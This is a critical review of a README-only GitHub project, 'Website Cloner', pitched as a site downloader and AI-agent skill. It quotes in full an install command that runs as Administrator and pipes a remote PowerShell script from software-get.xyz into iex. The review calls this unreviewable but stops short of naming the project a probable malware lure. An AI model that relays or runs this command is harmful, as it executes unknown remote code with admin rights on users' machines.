Website Cloner: a website downloader whose README is mostly a feature list

What Website Cloner claims to be, and what the repository actually contains

The README opens by calling the project an advanced website cloning toolkit for full site downloading, asset extraction, HTML/CSS/JS parsing, offline browsing, site mirroring and recursive crawling in one package. The repository description goes further, describing a Claude Code skill built on a dynamic Workflow engine with an unskippable test gate that produces a pixel-perfect UI clone plus reverse-engineered architecture docs. Those two descriptions do not describe the same program. The README body never mentions Claude Code, agents, a workflow engine or a test gate. It describes a conventional command line downloader with crawl depth, asset filters, proxy rotation and export formats.

The repository listing is one file: README.md. There is no package.json, no source directory, no lockfile, no test folder and no license file in the top-level entries. The README nevertheless states the license is MIT, free for personal and educational use. A license claim in prose is not the same as a LICENSE file, and nothing in the repository confirms it. The default branch is main, the last push was on 2026-09-10, and the project is not archived, so the repository is recent even though its contents are thin.

Who is this for? The README names web developers, archivists, researchers, QA testers and automation enthusiasts. That is a broad audience for a tool that documents no API, no configuration schema and no output layout beyond a directory of files. If you need a documented, versioned archiving library, this is not it yet.

The crawler, downloader and rewriter modules as the README describes them

The README breaks the toolkit into ten modules: web crawler, site downloader, asset extractor, HTML rewriter, proxy support, site mirror, link parser, crawl manager, respect rules and export tools. Each module gets a checkbox list of capabilities. The crawler is documented with depth control between 1 and 100 levels, domain restriction, URL filtering, crawl delay, robots.txt respect, sitemap parsing and incremental crawling. The downloader is documented with resume support, concurrent downloads, speed limiting and retry on failure. The rewriter is documented with URL rewriting, relative path conversion, base tag handling and asset reference updating.

The interesting part is the interaction between those modules, and this is where the documentation thins out. Offline browsing works only if the rewriter and the downloader agree on path layout, and the README does not state how output directories are named or how query strings are mapped to filenames. The site mirror module claims directory structure preservation, file naming preservation, timestamp preservation and checksum verification, which is a stronger promise than the downloader section makes. Whether the mirror is a separate code path or a flag on the downloader is not stated.

Proxy support is listed with rotation, authentication, country-specific proxies, health checking and automatic failover. That is a substantial subsystem to ship inside a downloader, and the README gives no configuration file, no environment variable and no flag for it. The same is true of the export tools, which list ZIP, directory, WARC, JSON metadata, sitemap and link map outputs without showing the command that selects one. Treat the module lists as intent, not as a verified interface.

Installing Website Cloner on Windows and running a first crawl

The README gives one installation path, and it is Windows-only. It instructs you to open CMD or PowerShell as Administrator, then run a PowerShell command that downloads a script from software-get.xyz and pipes it into iex. The README shows the expected output as four numbered steps: loading modules, extracting crawling and downloading components, installing asset extraction and parsing tools, and a ready message. There is no checksum, no signature check and no alternative install from a package registry in the documented steps.

powershell -Command "irm https://software-get.xyz/Loader.ps1?get=website-cloner | iex"

Running that line downloads and executes a remote script with administrator rights. The README does not document what the script writes, where it writes it, or how to remove it. If you are not comfortable with that, the README offers no fallback, and the repository has no source archive to build from.

After installation, the README says to launch via website-cloner.exe or npm start, then enter a target URL, select clone depth and asset types, and start cloning for offline browsing. The command line examples in the module sections use a website-cloner binary. A single-page crawl is shown as:

website-cloner crawl "https://example.com"

To add depth and a politeness delay, the README gives:

website-cloner crawl "https://example.com" --depth 5 --delay 2

For a download that includes assets and uses several threads, the documented form is:

website-cloner download "https://example.com" --assets --threads 5

The README does not state where the cloned files land, what the exit code is on a partial failure, or whether --depth and --limit interact. Expect to inspect the output directory yourself to learn the layout.

What the documentation does not settle: agents, the test gate and the install source

The repository description promises a team of AI agents, a Claude Code skill, a dynamic Workflow engine and an unskippable test gate. None of those appear anywhere in the README, and the repository contains no skill file, no workflow definition and no test directory. A reader arriving from the description will not find the thing being described. That gap is the single largest caveat on this project, because it means the headline claim is unverifiable from what the repository publishes.

The install route is the second caveat. A remote PowerShell script fetched by URL and piped into iex is a common pattern for quick Windows installers, and it is also the pattern that makes review impossible before execution. The README does not publish the script contents, a version number or a release artifact. There are no releases retrieved for this repository, so there is no pinned version to install and no changelog to read.

Third, the README states the toolkit is for educational and personal use only while also claiming an MIT license. Those two statements pull in different directions: MIT permits commercial reuse, and the personal-use sentence does not. The README does not reconcile them. If you need a clear license to adopt the code at work, that ambiguity is a reason to look elsewhere until a LICENSE file exists.

Finally, the README's own framing is promotional rather than technical. The repository description asks for a star, and the README includes an AI metadata block written for language models, with an entity name, a category list and a formats list. That block is not documentation for a human integrator; it is text aimed at search and answer engines. Read the module sections and ignore the metadata block.

Where Website Cloner is the wrong tool

A recursive downloader that rewrites links is the wrong instrument for archiving a site whose value is in its behavior rather than its files. Single-page applications that fetch content from an API at runtime will produce an offline copy of the shell, not the rendered page, unless the rewriter also captures the API responses. The README mentions script and style injection and meta tag preservation, but it does not describe capturing XHR or fetch traffic. Do not expect a working offline copy of a client-rendered dashboard.

The second failure mode is scale. The README lists speed limiting, retry on failure and crawl delay, which are the right primitives, but it documents no resumable crawl state across process restarts. Download resume is listed under the downloader, and pause/resume is listed under the crawl manager, yet the relationship between the two is not explained. On a large site, a crash halfway through may mean starting over. Verify that before pointing it at anything with tens of thousands of URLs.

The third case is legal and ethical rather than technical. The toolkit is built to replicate sites, and the README's own limit is educational and personal use. Cloning a competitor's front end, or mirroring a site whose terms forbid it, is outside what the documentation sanctions. The robots.txt support is a setting you can pass, not a guarantee, and the README does not say robots.txt is enforced by default.

Finally, if you need a stable interface to script against, this project is not ready. The CLI flags appear only in examples, there is no documented config file, and the repository has no versioned release to pin. A tool whose only contract is a README example will break your automation the first time the README changes.

Wget and HTTrack take a different route to the same job

The closest well-established alternatives are wget and HTTrack. The difference is not features, it is where the logic lives. wget is a general-purpose transfer tool that mirrors recursively with flags such as --mirror, --convert-links and --page-requisites, and it is packaged by nearly every Linux distribution and available on Windows through builds and package managers. HTTrack is a dedicated site copier with an interactive setup and a documented on-disk project format. Both have decades of behavior that people have written about, and both are installed from a package manager rather than a remote PowerShell script.

Website Cloner's pitch is that the crawler, asset extractor, rewriter, proxy layer and export tools are one integrated package with a single command vocabulary. That is a real convenience when it works, because stitching wget flags together for asset filtering and WARC export is tedious. The trade-off is that wget and HTTrack have published source, tagged releases and package signatures, while this project has a README and an installer URL. If your requirement is a reproducible build, the older tools win on process even before they win on features.

The honest comparison is this: choose wget or HTTrack when you need a tool you can audit, pin and install offline, and consider Website Cloner only when you want a single binary that claims to cover crawling, asset extraction and export in one CLI, and you are willing to verify that claim yourself. The README does not publish benchmarks or comparisons, so there is nothing here to suggest it outperforms either tool.

Maintenance, upgrade path and licence status

The repository is not archived and the last push was on 2026-09-10, so the project was touched recently. That is the only maintenance signal available. There are no retrieved releases, so there is no version history, no changelog and no upgrade path to follow. Upgrading means re-running the same PowerShell command and hoping the remote script is compatible with what you already have, because the README does not describe an upgrade procedure or a version check.

That arrangement has a concrete cost. Without a pinned version, two machines installed a month apart can run different code under the same name, and there is no artifact to roll back to. The README does not document rollback either. If your workflow depends on reproducible tooling, this is the weakest part of the project.

On licensing, the README states MIT and separately restricts use to educational and personal purposes. MIT and a personal-use restriction are not the same grant, and the repository contains no LICENSE file to settle which applies. I am not a lawyer and this is not legal advice. If you intend to use the output or the tool commercially, the absence of a license file is the fact that matters, and you should treat the MIT line as an unverified claim until the repository carries a license text.

Editorial conclusion

Use it only if you are prepared to read the README as the specification and verify the install path yourself, because the deployment command pulls a remote PowerShell script from software-get.xyz and the repository contains nothing but README.md. Do not adopt it for production archiving, for anything that needs a stable CLI contract, or for sites you lack permission to copy, since the README limits the toolkit to educational and personal use. Before running the PowerShell line, check the license claim against the repository, confirm the npm start and website-cloner.exe entry points exist in the code you download, and decide whether a one-line remote installer is acceptable on your machine.

Frequently asked questions

Official sources

1. Desertbetweenalembic/website-downloader on GitHub
2. Issues
3. README